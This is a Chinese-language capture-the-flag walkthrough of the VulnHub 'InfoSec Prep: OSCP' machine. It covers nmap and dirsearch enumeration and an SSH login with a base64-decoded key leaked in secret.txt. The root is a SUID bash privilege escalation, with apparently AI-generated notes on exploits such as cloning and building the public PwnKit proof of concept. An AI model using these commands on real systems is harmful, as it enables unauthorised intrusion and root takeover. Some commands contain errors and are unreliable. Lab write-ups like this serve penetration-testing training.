InfoSec Prep: OSCP
InfoSec Prep: OSCP ~ VulnHubInfoSec Prep: OSCP, made by FalconSpy. Download & walkthrough links are available.https://www.vulnhub.com/entry/infosec-prep-oscp,508/
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.224
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.224
nmap --scripts=vlun 192.168.23.224 -v
(1) CSRF漏洞(跨站请求伪造)
风险描述
扫描器在多个路径发现无CSRF防护的表单(如搜索框、登录表单),攻击者可构造恶意链接诱骗用户提交请求,可能导致:
- 用户密码被修改
- 恶意内容发布(如文章、评论)
- 管理员权限被窃取(通过后台操作)
修复建议
- 为所有表单添加CSRF Token验证(WordPress默认支持,需检查主题/插件兼容性)。
- 使用nonce机制(WordPress函数wp_nonce_field)。
- 对关键操作(如密码修改)要求二次验证。
(2) 用户枚举风险
风险描述
发现用户名admin,攻击者可能针对此账户进行暴力破解。
修复建议
- 创建新管理员账户,删除或重命名admin账户。
- 限制登录尝试次数(如使用插件Limit Login Attempts Reloaded)。
- 启用双因素认证(如Google Authenticator)。
(3) 版本信息泄露
风险点
- /readme.html泄露WordPress版本(5.4.2)。
- 遗留文件(如/wp-includes/images/rss.png)暴露旧版本痕迹。
修复建议
- 删除/readme.html及无用遗留文件。
- 更新WordPress至最新版本(当前最新为6.5+),修复已知漏洞。
- 隐藏版本号(在functions.php中添加:remove_action('wp_head', 'wp_generator');)。
3. 其他Web风险
后台暴露路径
/wp-login.php和/wp-admin/upgrade.php可直接访问。
建议:
- 限制后台访问IP(通过.htaccess或防火墙)。
- 修改后台登录路径(使用插件WPS Hide Login)。
robots.txt泄露
- 需检查robots.txt是否包含敏感路径(如备份目录、配置文件)。
4,访问80端口开放的http服务
然后枚举扫描其存在的子目录
dirsearch -u http://192.168.23.224 -x 403,404
http://192.168.23.224/robots.txt
http://192.168.23.224/secret.txt
该页面的乱码有base64编码的特征,解码就能得到内容
是一个RSA私钥,应该会在之后的横向移动环节用到
5,初始网页提示了只存在一个用户oscp
创建并且使用密钥登录之
-----BEGIN OPENSSH PRIVATE KEY----- |
vim is_rsa chmod 600 is_rsa
ssh -i is_rsa oscp@192.168.23.224
登录成功
6,信息收集一下
id
whoami
sudo -l
uname -a
查看所有具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
AI分析可能存在提权风险的SUID二进制文件及利用方法:
1. /usr/bin/bash
- 风险:若bash具有SUID权限,可通过bash -p尝试获取root shell。
- 验证方法:
/usr/bin/bash -p
若成功,将直接进入root权限的shell。 - 修复建议:移除bash的SUID位:
sudo chmod u-s /usr/bin/bash
2. /usr/bin/pkexec
- 风险:受CVE-2021-4034(PwnKit漏洞)影响,低版本可本地提权。
- 验证方法:
检查版本:
pkexec --version
若版本低于0.105-26ubuntu1.1(Ubuntu)或未打补丁,可尝试利用公开EXP。 - 利用步骤:
下载EXP并执行:
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034 - 修复建议:更新系统或运行apt upgrade policykit-1.
3. /usr/bin/sudo
- 风险:CVE-2021-3156(Baron Samedit漏洞)允许本地用户获得root权限。
- 验证方法:
检查sudo版本:
sudo --version
若版本在1.8.2到1.8.31p2之间,可能存在风险。 - 利用步骤:
使用公开EXP(如https://github.com/blasty/CVE-2021-3156)。
4. /usr/lib/snapd/snap-confine
- 风险:历史漏洞如CVE-2021-44731(Ubuntu Snap提权)。
- 验证方法:
检查snapd版本:
snap --version
若版本低于2.54.3,可能存在漏洞。 - 修复建议:更新snapd:sudo apt update && sudo apt install snapd.
5. /usr/bin/mount 或 /usr/bin/umount
- 风险:若允许用户挂载敏感目录(如/etc),可能覆盖敏感文件。
- 利用条件:需允许非root用户挂载特定设备。
- 示例:
mount -o loop /dev/sda1 /mnt # 尝试挂载设备
若成功,可修改挂载目录中的文件。
6. /usr/bin/fusermount
- 风险:低版本存在CVE-2018-19824,允许非root用户挂载FUSE文件系统。
- 验证方法:
检查版本:
fusermount --version
若版本低于2.9.9,可能存在风险。
7. /usr/bin/chfn 或 /usr/bin/chsh
- 风险:若配置不当(如/etc/login.defs中CHFN_RESTRICT未设置),可能通过修改用户信息提权。
- 利用方法:
chfn -o root /etc/passwd # 尝试注入root权限
需要特定配置漏洞配合。
7,这里使用bash命令的suid提权方法
若二进制文件设置了 SUID 权限位(即 -rwsr-xr-x ),且未正确降权,攻击者可能利用它访问文件系统、提权或维持权限(例如作为 SUID 后门)。
在 Debian Stretch 及更早版本 中,默认允许 Shell(如 bash)以 SUID 权限运行(无需额外参数即可保留特权)。
利用步骤
- 创建本地 SUID 副本
将系统的 bash 二进制文件复制到当前目录,并保留其 SUID 权限:
sudo install -m =xs $(which bash) .
- install -m =xs:设置新文件的权限为 SUID(等效于 chmod u+s)。
- $(which bash):获取系统默认 bash 的绝对路径。
- 执行 SUID 二进制文件
运行复制的 bash 并附加 -p 参数以保留特权:
bash -p
- -p 参数:启动特权模式(不重置 UID/EUID)。
- 若成功,将进入 root shell(通过 id -u 验证 UID 是否为 0)。
成功提权成为root用户